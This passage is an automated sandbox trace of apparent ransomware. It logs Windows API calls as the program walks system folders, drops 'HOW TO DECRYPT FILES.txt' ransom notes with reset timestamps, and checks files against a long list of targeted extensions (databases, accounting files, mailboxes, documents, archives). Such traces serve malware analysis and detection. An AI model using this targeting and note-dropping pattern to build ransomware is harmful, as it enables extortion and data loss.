(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.tlg") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.lgb") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mov") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.xdw") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.ods") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.wav") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mp3") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.aiff") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.flac") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.m4a") returned 0 [0111.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.csv") returned 0 [0111.878] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd3344a6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd3344a6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd3344a6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napcrypt.ni.dll", cAlternateFileName="NAPCRY~1.DLL")) returned 0 [0111.878] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.878] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd380767, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd380767, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d95f343677c556b67e99818cc02f4214", cAlternateFileName="D95F34~1")) returned 0 [0111.878] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.878] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd5e1d6b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd5e1d6b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x630070, cFileName="naphlpr", cAlternateFileName="")) returned 1 [0111.878] lstrcmpA (lpString1=".", lpString2="naphlpr") returned -1 [0111.878] lstrcmpA (lpString1="..", lpString2="naphlpr") returned -1 [0111.878] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.878] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="naphlpr" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr" [0111.878] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd5e1d6b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd5e1d6b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.879] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.879] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd5e1d6b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd5e1d6b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.879] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.879] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.879] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd5e1d6b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd5e1d6b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="03d99e593bc94e308005a972667d7ca9", cAlternateFileName="03D99E~1")) returned 1 [0111.879] lstrcmpA (lpString1=".", lpString2="03d99e593bc94e308005a972667d7ca9") returned -1 [0111.879] lstrcmpA (lpString1="..", lpString2="03d99e593bc94e308005a972667d7ca9") returned -1 [0111.879] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\*.*") returned="*.*" [0111.879] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\", lpString2="03d99e593bc94e308005a972667d7ca9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9" [0111.879] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd5e1d6b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd5e1d6b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.881] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.881] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd5e1d6b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd5e1d6b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd5e1d6b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.882] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.882] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.882] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd595aab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd595aab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd595aab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2ac00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="naphlpr.ni.dll", cAlternateFileName="NAPHLP~1.DLL")) returned 1 [0111.882] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.882] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="naphlpr.ni.dll") returned -1 [0111.882] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="naphlpr.ni.dll") returned -1 [0111.882] lstrcmpiA (lpString1="", lpString2="naphlpr.ni.dll") returned -1 [0111.882] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\*.*") returned="*.*" [0111.882] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\" [0111.882] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\") returned="" [0111.882] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\HOW TO DECRYPT FILES.txt" [0111.882] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\how to decrypt files.txt")) returned 0xffffffff [0111.882] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.883] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.885] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.885] CloseHandle (hObject=0x90) returned 1 [0111.885] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\", lpString2="naphlpr.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll" [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.ems") returned 0 [0111.886] lstrlenA (lpString="*.ems") returned 5 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.db") returned 0 [0111.886] lstrlenA (lpString="*.db") returned 4 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.dbf") returned 0 [0111.886] lstrlenA (lpString="*.dbf") returned 5 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.myox") returned 0 [0111.886] lstrlenA (lpString="*.myox") returned 6 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.myo") returned 0 [0111.886] lstrlenA (lpString="*.myo") returned 5 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qbw") returned 0 [0111.886] lstrlenA (lpString="*.qbw") returned 5 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qbb") returned 0 [0111.886] lstrlenA (lpString="*.qbb") returned 5 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qbm") returned 0 [0111.886] lstrlenA (lpString="*.qbm") returned 5 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qbo") returned 0 [0111.886] lstrlenA (lpString="*.qbo") returned 5 [0111.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qbx") returned 0 [0111.887] lstrlenA (lpString="*.qbx") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qba") returned 0 [0111.887] lstrlenA (lpString="*.qba") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qby") returned 0 [0111.887] lstrlenA (lpString="*.qby") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qbj") returned 0 [0111.887] lstrlenA (lpString="*.qbj") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.ofx") returned 0 [0111.887] lstrlenA (lpString="*.ofx") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.qif") returned 0 [0111.887] lstrlenA (lpString="*.qif") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mye") returned 0 [0111.887] lstrlenA (lpString="*.mye") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mbox") returned 0 [0111.887] lstrlenA (lpString="*.mbox") returned 6 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.eml") returned 0 [0111.887] lstrlenA (lpString="*.eml") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.pst") returned 0 [0111.887] lstrlenA (lpString="*.pst") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.ost") returned 0 [0111.887] lstrlenA (lpString="*.ost") returned 5 [0111.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.idx") returned 0 [0111.887] lstrlenA (lpString="*.idx") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.dbx") returned 0 [0111.888] lstrlenA (lpString="*.dbx") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.sql") returned 0 [0111.888] lstrlenA (lpString="*.sql") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mdb") returned 0 [0111.888] lstrlenA (lpString="*.mdb") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.fdb") returned 0 [0111.888] lstrlenA (lpString="*.fdb") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.wab") returned 0 [0111.888] lstrlenA (lpString="*.wab") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.dat") returned 0 [0111.888] lstrlenA (lpString="*.dat") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.txt") returned 0 [0111.888] lstrlenA (lpString="*.txt") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.jpeg") returned 0 [0111.888] lstrlenA (lpString="*.jpeg") returned 6 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.jpg") returned 0 [0111.888] lstrlenA (lpString="*.jpg") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.png") returned 0 [0111.888] lstrlenA (lpString="*.png") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.php") returned 0 [0111.888] lstrlenA (lpString="*.php") returned 5 [0111.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.cs") returned 0 [0111.889] lstrlenA (lpString="*.cs") returned 4 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.cpp") returned 0 [0111.889] lstrlenA (lpString="*.cpp") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.rar") returned 0 [0111.889] lstrlenA (lpString="*.rar") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.zip") returned 0 [0111.889] lstrlenA (lpString="*.zip") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.html") returned 0 [0111.889] lstrlenA (lpString="*.html") returned 6 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.htm") returned 0 [0111.889] lstrlenA (lpString="*.htm") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.xlsx") returned 0 [0111.889] lstrlenA (lpString="*.xlsx") returned 6 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.xls") returned 0 [0111.889] lstrlenA (lpString="*.xls") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mp4") returned 0 [0111.889] lstrlenA (lpString="*.mp4") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.ppt") returned 0 [0111.889] lstrlenA (lpString="*.ppt") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.pptx") returned 0 [0111.889] lstrlenA (lpString="*.pptx") returned 6 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.doc") returned 0 [0111.889] lstrlenA (lpString="*.doc") returned 5 [0111.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.dot") returned 0 [0111.890] lstrlenA (lpString="*.dot") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.docx") returned 0 [0111.890] lstrlenA (lpString="*.docx") returned 6 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.7z") returned 0 [0111.890] lstrlenA (lpString="*.7z") returned 4 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.tar") returned 0 [0111.890] lstrlenA (lpString="*.tar") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.bz2") returned 0 [0111.890] lstrlenA (lpString="*.bz2") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.gz") returned 0 [0111.890] lstrlenA (lpString="*.gz") returned 4 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.mkv") returned 0 [0111.890] lstrlenA (lpString="*.mkv") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.eml") returned 0 [0111.890] lstrlenA (lpString="*.eml") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.msg") returned 0 [0111.890] lstrlenA (lpString="*.msg") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.edb") returned 0 [0111.890] lstrlenA (lpString="*.edb") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.accdb") returned 0 [0111.890] lstrlenA (lpString="*.accdb") returned 7 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.odb") returned 0 [0111.890] lstrlenA (lpString="*.odb") returned 5 [0111.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.java") returned 0 [0111.891] lstrlenA (lpString="*.java") returned 6 [0111.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\naphlpr\\03d99e593bc94e308005a972667d7ca9\\naphlpr.ni.dll", pszSpec="*.asm") returned 0 [0111.891] lstrlenA (lpString="*.asm") returned 5 [0111.891] 